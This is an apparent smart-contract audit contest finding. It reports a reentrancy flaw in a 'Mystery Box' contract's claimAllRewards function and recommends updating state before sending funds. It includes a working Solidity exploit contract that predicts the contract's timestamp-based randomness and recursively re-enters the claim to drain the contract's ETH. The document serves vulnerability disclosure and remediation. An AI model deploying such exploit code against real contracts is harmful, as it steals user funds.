Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrency vulnerability on claimAllRewards | Total contract loss.

Summary

This contracts claimAllRewards function is vulnerable to reentrency attacks.

Vulnerability Details

Steps to Reproduce:

-Deploy mysterybox.sol with 50 ETH
-Change wallet address
-Deploy exploit.sol
-BuyBox with 100000000 GWEI
-openBox (until you receive a reward OR buy multiple boxes and open multiple)
-After you have a reward then click claimAllRewards
(You should now see everything from the mysterybox contract has been transfered to your malicious contract)


POC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IRewardsContract {
function buyBox() external payable;
function openBox() external;
function boxesOwned(address _owner) external view returns (uint256);
function claimAllRewards() external;
}
contract Malicious {
IRewardsContract public rewardsContract;
address public owner;
uint256 public callCount = 0 ;
constructor(address _rewardsContract) {
rewardsContract = IRewardsContract(_rewardsContract);
owner = msg.sender;
}
function calculateRandom() public view returns (uint256) {
return uint256(keccak256(abi.encodePacked(block.timestamp, address(this)))) % 100;
}
function buy() public payable {
rewardsContract.buyBox{value: 0.1 ether}();
}
function attack() public {
require(rewardsContract.boxesOwned(address(this)) > 0, "No boxes owned");
uint256 predictedRandomValue = calculateRandom();
if (predictedRandomValue >= 90) {
rewardsContract.openBox();
rewardsContract.claimAllRewards();
}
}
receive() external payable {
// Limit the number of recursive calls to prevent reverts
if (callCount < 8) {
callCount++;
rewardsContract.claimAllRewards();
}
}
}

Impact

Total contract loss

Loss of customer funds

Loss of public trust

Tools Used

Remix IDE Desktop

Recommendations

The problem is a result of sending the funds and then updating the state.

Steps to mitigate:
-Create new variable with the same value as the users rewards.
-Reset the user rewards variable to zero
-If the transfer of rewards fails or reverts then copy the value from the new variable back to the old (now empty)variable

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!